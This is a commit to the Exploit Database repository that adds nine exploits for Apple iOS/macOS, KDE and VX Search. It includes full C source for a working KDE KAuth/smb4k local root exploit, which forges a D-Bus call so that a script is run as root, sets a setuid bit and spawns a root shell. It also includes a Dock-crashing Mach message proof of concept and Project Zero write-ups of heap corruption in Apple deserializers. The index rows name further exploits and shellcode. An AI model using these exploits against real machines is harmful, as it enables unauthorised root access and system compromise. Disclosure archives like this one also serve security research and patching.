DB: 2017-05-24

9 new exploits

Apple iOS/macOS - Memory Corruption Due to Bad Bounds Checking in NSCharacterSet Coding for NSKeyedUnarchiver
Apple iOS/macOS - NSUnarchiver Heap Corruption Due to Lack of Bounds Checking in [NSBuiltinCharacterSet initWithCoder:]
Apple iOS/macOS - NSKeyedArchiver Heap Corruption Due to Rounding Error in 'TIKeyboardLayout initWithCoder:'
Apple iOS/macOS - NSKeyedArchiver Memory Corruption Due to Lack of Bounds Checking in 'CAMediaTimingFunctionBuiltin'
Apple iOS/macOS Kernel - Use-After-Free Due to Bad Locking in Unix Domain Socket File Descriptor Externalization
Apple iOS/macOS Kernel - Memory Disclosure Due to Lack of Bounds Checking in netagent Socket Option Handling
Apple macOS - Local Privilege Escalation Due to Lack of Bounds Checking in HIServices Custom CFObject Serialization

KDE 4/5 - 'KAuth' Privilege Escalation

VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)
This commit is contained in:
Offensive Security 2017-05-24 05:01:19 +00:00
parent bc7f6091d4
commit 2907a841a7
10 changed files with 1200 additions and 0 deletions

View file

@ -5507,6 +5507,13 @@ id,file,description,date,author,platform,type,port
42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0 42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0
42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0 42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0
42048,platforms/linux/dos/42048.c,"Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer",2017-05-22,"Google Security Research",linux,dos,0 42048,platforms/linux/dos/42048.c,"Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer",2017-05-22,"Google Security Research",linux,dos,0
42049,platforms/multiple/dos/42049.txt,"Apple iOS/macOS - Memory Corruption Due to Bad Bounds Checking in NSCharacterSet Coding for NSKeyedUnarchiver",2017-05-23,"Google Security Research",multiple,dos,0
42050,platforms/multiple/dos/42050.txt,"Apple iOS/macOS - NSUnarchiver Heap Corruption Due to Lack of Bounds Checking in [NSBuiltinCharacterSet initWithCoder:]",2017-05-23,"Google Security Research",multiple,dos,0
42051,platforms/multiple/dos/42051.txt,"Apple iOS/macOS - NSKeyedArchiver Heap Corruption Due to Rounding Error in 'TIKeyboardLayout initWithCoder:'",2017-05-23,"Google Security Research",multiple,dos,0
42052,platforms/multiple/dos/42052.txt,"Apple iOS/macOS - NSKeyedArchiver Memory Corruption Due to Lack of Bounds Checking in 'CAMediaTimingFunctionBuiltin'",2017-05-23,"Google Security Research",multiple,dos,0
42054,platforms/multiple/dos/42054.c,"Apple iOS/macOS Kernel - Use-After-Free Due to Bad Locking in Unix Domain Socket File Descriptor Externalization",2017-05-23,"Google Security Research",multiple,dos,0
42055,platforms/multiple/dos/42055.c,"Apple iOS/macOS Kernel - Memory Disclosure Due to Lack of Bounds Checking in netagent Socket Option Handling",2017-05-23,"Google Security Research",multiple,dos,0
42056,platforms/macos/dos/42056.c,"Apple macOS - Local Privilege Escalation Due to Lack of Bounds Checking in HIServices Custom CFObject Serialization",2017-05-23,"Google Security Research",macos,dos,0
3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@ -9000,6 +9007,7 @@ id,file,description,date,author,platform,type,port
41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0 41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0
42020,platforms/windows/local/42020.cpp,"Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation",2017-05-17,"Google Security Research",windows,local,0 42020,platforms/windows/local/42020.cpp,"Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation",2017-05-17,"Google Security Research",windows,local,0
42045,platforms/linux/local/42045.c,"VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation",2017-05-22,"Google Security Research",linux,local,0 42045,platforms/linux/local/42045.c,"VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation",2017-05-22,"Google Security Research",linux,local,0
42053,platforms/linux/local/42053.c,"KDE 4/5 - 'KAuth' Privilege Escalation",2017-05-18,Stealth,linux,local,0
1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@ -15530,6 +15538,7 @@ id,file,description,date,author,platform,type,port
42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0 42026,platforms/xml/remote/42026.py,"Oracle PeopleSoft - XML External Entity to SYSTEM Remote Code Execution",2017-05-17,"Ambionics Security",xml,remote,0
42031,platforms/win_x86-64/remote/42031.py,"Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445 42031,platforms/win_x86-64/remote/42031.py,"Microsoft Windows Windows 7/2008 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)",2017-05-17,sleepya,win_x86-64,remote,445
42041,platforms/windows/remote/42041.txt,"Secure Auditor 3.0 - Directory Traversal",2017-05-20,hyp3rlinx,windows,remote,0 42041,platforms/windows/remote/42041.txt,"Secure Auditor 3.0 - Directory Traversal",2017-05-20,hyp3rlinx,windows,remote,0
42057,platforms/windows/remote/42057.rb,"VX Search Enterprise 9.5.12 - GET Buffer Overflow (Metasploit)",2017-05-23,Metasploit,windows,remote,0
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0

Can't render this file because it is too large.

148
platforms/linux/local/42053.c Executable file
View file

@ -0,0 +1,148 @@
// cc -Wall smb0k.c -pedantic -std=c11
//
// smb4k PoC, also demonstrating broader scope of a generic kde
// authentication bypass vulnerability
//
// (C) 2017 Sebastian Krahmer
//
#define _POSIX_C_SOURCE 200112L
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/stat.h>
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
char me[1024] = {0};
char *dbus[] = {
"/usr/bin/dbus-send",
"--system",
"--print-reply",
"--dest=net.sourceforge.smb4k.mounthelper",
"/",
"org.kde.auth.performActions",
"array:byte:"
// The variant map, containing evil mh_command key-pair
"0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x4e,0x00,0x6e,0x00,0x65,0x00,0x74,"
"0x00,0x2e,0x00,0x73,0x00,0x6f,0x00,0x75,0x00,0x72,0x00,0x63,0x00,0x65,"
"0x00,0x66,0x00,0x6f,0x00,0x72,0x00,0x67,0x00,0x65,0x00,0x2e,0x00,0x73,"
"0x00,0x6d,0x00,0x62,0x00,0x34,0x00,0x6b,0x00,0x2e,0x00,0x6d,0x00,0x6f,"
"0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x68,0x00,0x65,0x00,0x6c,0x00,0x70,"
"0x00,0x65,0x00,0x72,0x00,0x2e,0x00,0x6d,0x00,0x6f,0x00,0x75,0x00,0x6e,"
"0x00,0x74,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x18,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x77,0x00,0x6f,0x00,0x72,0x00,0x6b,0x00,0x67,0x00,0x72,"
"0x00,0x6f,0x00,0x75,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,"
"0x00,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x75,0x00,"
"0x72,0x00,0x6c,0x00,0x00,0x00,0x11,0x00,0x00,0x00,0x00,0x24,0x73,0x6d,"
"0x62,0x3a,0x2f,0x2f,0x61,0x62,0x63,0x3a,0x31,0x32,0x33,0x34,0x35,0x36,"
"0x40,0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x3a,0x34,0x34,0x35,"
"0x2f,0x73,0x68,0x61,0x72,0x65,0x00,0x00,0x00,0x0c,0x00,0x6d,0x00,0x68,"
"0x00,0x5f,0x00,0x75,0x00,0x6e,0x00,0x63,0x00,0x00,0x00,0x0a,0x00,0x00,"
"0x00,0x00,0x22,0x00,0x2f,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,"
"0x73,0x00,0x68,0x00,0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x14,0x00,"
"0x6d,0x00,0x68,0x00,0x5f,0x00,0x6f,0x00,0x70,0x00,0x74,0x00,0x69,0x00,"
"0x6f,0x00,0x6e,0x00,0x73,0x00,0x00,0x00,0x0b,0x00,0x00,0x00,0x00,0x02,"
"0x00,0x00,0x00,0x04,0x00,0x2d,0x00,0x6f,0x00,0x00,0x01,0x1c,0x00,0x75,"
"0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x6e,0x00,0x61,0x00,0x6d,0x00,0x65,"
"0x00,0x3d,0x00,0x6a,0x00,0x6f,0x00,0x65,0x00,0x2c,0x00,0x75,0x00,0x69,"
"0x00,0x64,0x00,0x3d,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x33,0x00,0x2c,"
"0x00,0x67,0x00,0x69,0x00,0x64,0x00,0x3d,0x00,0x31,0x00,0x30,0x00,0x30,"
"0x00,0x2c,0x00,0x70,0x00,0x6f,0x00,0x72,0x00,0x74,0x00,0x3d,0x00,0x34,"
"0x00,0x34,0x00,0x35,0x00,0x2c,0x00,0x72,0x00,0x77,0x00,0x2c,0x00,0x66,"
"0x00,0x69,0x00,0x6c,0x00,0x65,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x64,0x00,0x69,0x00,0x72,0x00,0x5f,0x00,0x6d,0x00,0x6f,0x00,0x64,"
"0x00,0x65,0x00,0x3d,0x00,0x30,0x00,0x37,0x00,0x35,0x00,0x35,0x00,0x2c,"
"0x00,0x70,0x00,0x65,0x00,0x72,0x00,0x6d,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x73,0x00,0x65,0x00,0x74,0x00,0x75,0x00,0x69,0x00,0x64,0x00,0x73,"
"0x00,0x2c,0x00,0x6e,0x00,0x6f,0x00,0x73,0x00,0x65,0x00,0x72,0x00,0x76,"
"0x00,0x65,0x00,0x72,0x00,0x69,0x00,0x6e,0x00,0x6f,0x00,0x2c,0x00,0x63,"
"0x00,0x61,0x00,0x63,0x00,0x68,0x00,0x65,0x00,0x3d,0x00,0x73,0x00,0x74,"
"0x00,0x72,0x00,0x69,0x00,0x63,0x00,0x74,0x00,0x2c,0x00,0x6e,0x00,0x6f,"
"0x00,0x6d,0x00,0x61,0x00,0x70,0x00,0x63,0x00,0x68,0x00,0x61,0x00,0x72,"
"0x00,0x73,0x00,0x2c,0x00,0x73,0x00,0x65,0x00,0x63,0x00,0x3d,0x00,0x6e,"
"0x00,0x74,0x00,0x6c,0x00,0x6d,0x00,0x73,0x00,0x73,0x00,0x70,0x00,0x2c,"
"0x00,0x76,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x3d,0x00,0x31,0x00,0x2e,"
"0x00,0x30,0x00,0x00,0x00,0x1a,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x6d,"
"0x00,0x6f,0x00,0x75,0x00,0x6e,0x00,0x74,0x00,0x70,0x00,0x6f,0x00,0x69,"
"0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x3e,0x00,"
"0x2f,0x00,0x68,0x00,0x6f,0x00,0x6d,0x00,0x65,0x00,0x2f,0x00,0x6a,0x00,"
"0x6f,0x00,0x65,0x00,0x2f,0x00,0x73,0x00,0x6d,0x00,0x62,0x00,0x34,0x00,"
"0x6b,0x00,0x2f,0x00,0x31,0x00,0x32,0x00,0x37,0x00,0x2e,0x00,0x30,0x00,"
"0x2e,0x00,0x30,0x00,0x2e,0x00,0x31,0x00,0x2f,0x00,0x73,0x00,0x68,0x00,"
"0x61,0x00,0x72,0x00,0x65,0x00,0x00,0x00,0x0a,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x69,0x00,0x70,0x00,0x00,0x00,0x0a,0x00,0xff,0xff,0xff,0xff,"
"0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,0x5f,0x00,0x63,0x00,0x6f,"
"0x00,0x6d,0x00,0x6d,0x00,0x65,0x00,0x6e,0x00,0x74,0x00,0x00,0x00,0x0a,"
"0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x14,0x00,0x6d,0x00,0x68,0x00,"
"0x5f,0x00,0x63,0x00,0x6f,0x00,0x6d,0x00,0x6d,0x00,0x61,0x00,0x6e,0x00,"
"0x64,0x00,0x00,0x00,0x0a,0x00,0x00,0x00,0x00,0x20,0x00,0x2f,0x00,0x74,"
"0x00,0x6d,0x00,0x70,0x00,0x2f,0x00,0x78,0x00,0x6d,0x00,0x6f,0x00,0x75,"
"0x00,0x6e,0x00,0x74,0x00,0x2e,0x00,0x63,0x00,0x69,0x00,0x66,0x00,0x73",
// the callerID, ":1.0" which is dbus itself and thus always passes
"array:byte:58,49,46,48", NULL};
char *boomsh = "/tmp/xmount.cifs";
char *const sh[] = {me, "shell", NULL};
char *const bash[] = {"/bin/bash", "--norc", "--noprofile", NULL};
struct stat st;
int fd = -1;
if (readlink("/proc/self/exe", me, sizeof(me) - 1) < 0)
die("[-] readlink");
if (geteuid() == 0) {
setuid(0);
setgid(0);
if (argc == 2) {
execve(*bash, bash, NULL);
die("[-] execve of bash");
}
chown(me, 0, 0);
chmod(me, 04755);
exit(0);
}
printf("[*] Creating shellscript ...\n");
unlink(boomsh);
if ((fd = open(boomsh, O_RDWR|O_CREAT, 0755)) < 0)
die("[-] open");
write(fd, "#!/bin/sh\n", 10);
write(fd, me, strlen(me));
write(fd, "\n", 1);
close(fd);
printf("[*] Triggering call...\n");
if (fork() == 0) {
execve(*dbus, dbus, NULL);
exit(1);
}
wait(NULL);
sleep(5);
printf("[*] Trying to find rootshell...\n");
memset(&st, 0, sizeof(st));
stat(me, &st);
if ((st.st_mode & 04000) != 04000)
die("[-] Failed to chmod ourselfs.\n");
execve(me, sh, NULL);
return 0;
}

170
platforms/macos/dos/42056.c Executable file
View file

@ -0,0 +1,170 @@
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219
HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.
The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:
__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8 dq offset _cfNumberUnserialize
__const:0000000000053EE0 dq offset _cfBooleanUnserialize
__const:0000000000053EE8 dq offset _cfArrayUnserialize
__const:0000000000053EF0 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8 dq offset _cfDataUnserialize
__const:0000000000053F00 dq offset _cfDateUnserialize
__const:0000000000053F08 dq offset _cfURLUnserialize
__const:0000000000053F10 dq offset _cfNullUnserialize
__const:0000000000053F18 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20 dq offset _axElementUnserialize
__const:0000000000053F28 dq offset _axValueUnserialize
__const:0000000000053F30 dq offset _cgColorUnserialize
__const:0000000000053F38 dq offset _axTextMarkerUnserialize
__const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48 dq offset _cgPathUnserialize
From a cursory inspection it's clear that these methods don't expect to parse untrusted data.
The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.
I would guess that all the other unserialization methods should also be closely examined.
This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.
com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.
This poc just crashes the Dock process though.
Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files
Tested on MacOS 10.12.3 (16D32)
*/
// ianbeer
#if 0
MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization
HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.
The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:
__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0 ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0 ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8 dq offset _cfNumberUnserialize
__const:0000000000053EE0 dq offset _cfBooleanUnserialize
__const:0000000000053EE8 dq offset _cfArrayUnserialize
__const:0000000000053EF0 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8 dq offset _cfDataUnserialize
__const:0000000000053F00 dq offset _cfDateUnserialize
__const:0000000000053F08 dq offset _cfURLUnserialize
__const:0000000000053F10 dq offset _cfNullUnserialize
__const:0000000000053F18 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20 dq offset _axElementUnserialize
__const:0000000000053F28 dq offset _axValueUnserialize
__const:0000000000053F30 dq offset _cgColorUnserialize
__const:0000000000053F38 dq offset _axTextMarkerUnserialize
__const:0000000000053F40 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48 dq offset _cgPathUnserialize
From a cursory inspection it's clear that these methods don't expect to parse untrusted data.
The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.
I would guess that all the other unserialization methods should also be closely examined.
This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.
com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.
This poc just crashes the Dock process though.
Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files
Tested on MacOS 10.12.3 (16D32)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>
struct dock_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
uint8_t PAD[0xc];
uint32_t ool_size;
};
int main() {
kern_return_t err;
mach_port_t service_port;
err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);
if (err != KERN_SUCCESS) {
printf(" [-] unable to lookup service");
exit(EXIT_FAILURE);
}
printf("got service port: %x\n", service_port);
uint32_t serialized_string[] =
{ 'abcd', // neither 'owen' or 'aela' -> bswap?
0x0, // type = cfStringUnserialize
0x41414141, // length
0x41414141, // length
0x1, // contents
0x2,
0x3 };
struct dock_msg m = {0};
m.hdr.msgh_size = sizeof(struct dock_msg);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem
m.ool_size = sizeof(serialized_string);
m.body.msgh_descriptor_count = 1;
m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
m.ool_desc.address = serialized_string;
m.ool_desc.size = sizeof(serialized_string);
m.ool_desc.deallocate = 0;
m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&m.hdr,
MACH_SEND_MSG,
m.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf(" [-] mach_msg failed with error code:%x\n", err);
exit(EXIT_FAILURE);
}
printf(" [+] looks like that sent?\n");
return 0;
}

View file

@ -0,0 +1,79 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1168
The dump today has this list of iOS stuff:
https://wikileaks.org/ciav7p1/cms/page_13205587.html
Reading through this sounded interesting:
"""
Buffer Overflow caused by deserialization parsing error in Foundation library
Sending a crafted NSArchiver object to any process that calls NSArchive unarchive method will result in
a buffer overflow, allowing for ROP.
"""
So I've spent all day going through initWithCoder: implementations looking for heap corruption :)
The unarchiving of NSCharacterSet will call NSCharacterSetCFCharacterSetCreateWithBitmapRepresentation
If we pass a large bitmap we can get to the following call multiple times:
while (length > 1) {
annexSet = (CFMutableCharacterSetRef)__CFCSetGetAnnexPlaneCharacterSet(cset, *(bytes++));
Here's that function (from the quite old CF code, but the disassm still matches)
CF_INLINE CFCharacterSetRef __CFCSetGetAnnexPlaneCharacterSet(CFCharacterSetRef cset, int plane) {
__CFCSetAllocateAnnexForPlane(cset, plane);
if (!__CFCSetAnnexBitmapGetPlane(cset->_annex->_validEntriesBitmap, plane)) {
cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
__CFCSetAnnexBitmapSetPlane(cset->_annex->_validEntriesBitmap, plane);
}
return cset->_annex->_nonBMPPlanes[plane - 1];
}
note the interesting [plane - 1], however if we just call this with plane = 0 first
__CFCSetAllocateAnnexForPlane will set the _nonBMPPlanes to NULL rather than allocating it
but if we supply a large enough bitmap such that we can call __CFCSetGetAnnexPlaneCharacterSet twice,
passing 1 the first time and 0 the second time then we can reach:
cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
with plane = 0 leading to writing a pointer to semi-controlled data one qword below the heap allocation _nonBMPPlanes.
This PoC is just a crasher but it looks pretty exploitable.
The wikileaks dump implies that this kind of bug can be exploited both via IPC and as a persistence mechanism where apps
serialize objects to disk. If I come up with a better PoC for one of those avenues I'll attach it later.
(note that the actual PoC object is in the other file (longer_patched.bin)
tested on MacOS 10.12.3 (16D32)
################################################################################
A few notes on the relevance of these bugs:
NSXPC uses the "secure" version of NSKeyedArchiver where the expected types have to be declared upfront by a message receiver. This restricts the NSXPC attack surface for these issues to either places where overly broad base classes are accepted (like NSObject) or to just those services which accept classes with vulnerable deserializers.
There are also other services which use NSKeyedArchives in the "insecure" mode (where the receiver doesn't supply a class whitelist.) Some regular (not NSXPC) xpc services use these. In those cases you could use these bugs to escape sandboxes/escalate privileges.
Lots of apps serialize application state to NSKeyedArchives and don't use secure coding providing an avenue for memory-corruption based persistence on iOS.
Futhermore there seem to be a bunch of serialized archives on the iPhone which you can touch via the services exposed by lockdownd (over the USB cable) providing an avenue for "local" exploitation (jumping from a user's desktop/laptop to the phone.) The host computer would need to have a valid pairing record to do this without prompts.
For example the following files are inside the AFC jail:
egrep -Rn NSKeyedArchiver *
Binary file Downloads/downloads.28.sqlitedb matches
Binary file Downloads/downloads.28.sqlitedb-wal matches
Binary file PhotoData/AlbumsMetadata/0F31509F-271A-45BA-9E1F-C6F7BC4A537F.foldermetadata matches
Binary file PhotoData/FacesMetadata/NVP_HIDDENFACES.hiddenfacemetadata matches
00006890 | 24 76 65 72 73 69 6F 6E 58 24 6F 62 6A 65 63 74 | $versionX$object
000068A0 | 73 59 24 61 72 63 68 69 76 65 72 54 24 74 6F 70 | sY$archiverT$top
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42049.zip

View file

@ -0,0 +1,15 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1170
Via NSUnarchiver we can read NSBuiltinCharacterSet with a controlled serialized state.
It reads a controlled int using decodeValueOfObjCType:"i" then either passes it to
CFCharacterSetGetPredefined or uses it directly to manipulate __NSBuiltinSetTable.
Neither path has any bounds checking and the index is used to maniupulate c arrays of pointers.
Attached python script will generate a serialized NSBuiltinCharacterSet with a value of 42
for the character set identifier.
tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42050.zip

View file

@ -0,0 +1,44 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1172
Using lldb inside a simple hello_world app for iOS we can see that there are over 600 classes which we could get deserialized
(for persistance for example.)
The TextInput framework which is loaded has a class TIKeyboardLayout. The initWithCoder: implementation has this code:
(this is the x86 code, the framework is there on both platforms.)
mov r15, cs:selRef_decodeBytesForKey_returnedLength_
lea rdx, cfstr_Frames ; "frames"
lea rcx, [rbp+var_40] <-- length of serialized binary data
mov rdi, r14
mov rsi, r15
call r13 ; _objc_msgSend
mov r12, rax <-- pointer to serialized binary data
mov rdx, [rbp+var_40]
shr rdx, 3 <-- divide length by 8
mov rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__count ; uint64_t _count;
mov [rbx+rax], rdx
mov rsi, cs:selRef_ensureFrameCapacity_
mov rdi, rbx
call r13 ; _objc_msgSend <-- will calloc(len/8, 8) and assign to _frames
mov rax, cs:_OBJC_IVAR_$_TIKeyboardLayout__frames ; struct _ShortRect *_frames;
mov rdi, [rbx+rax] ; void *
mov rdx, [rbp+var_40] ; size_t <-- original length not divided by 8
mov rsi, r12 ; void *
call _memcpy <-- can memcpy up to 7 bytes more than was allocated
This method reads binary data from the NSCoder, it divides the length by 8 and passes that to ensureFrameCapacity
which passes it to calloc with an item size of 8. This has the effect of mallocing the original size rounded down
to the nearest multiple of 8.
The memcpy then uses the original length (not rounded down) causing a controlled heap buffer overflow.
I've created a serialized TIKeyboardLayout with a frames value which is "A"*0x107.
Use ASAN to see the crash clearly (see provided compiler invokation.)
tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42051.zip

View file

@ -0,0 +1,20 @@
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1175
CAMediaTimingFunctionBuiltin is a class in QuartzCore. Its initWithCoder: method
reads an Int "index" then passes that to builtin_function
mov ebx, edi <-- controlled unsigned int
mov r14d, ebx
lea r15, __ZL9functions_0 ; functions
mov rax, [r15+r14*8]
if rax is non-null it's returned as an objective-c object pointer and the objective-c retain
selector is sent to it.
Serialized poc in attached file with an index of 12345678.
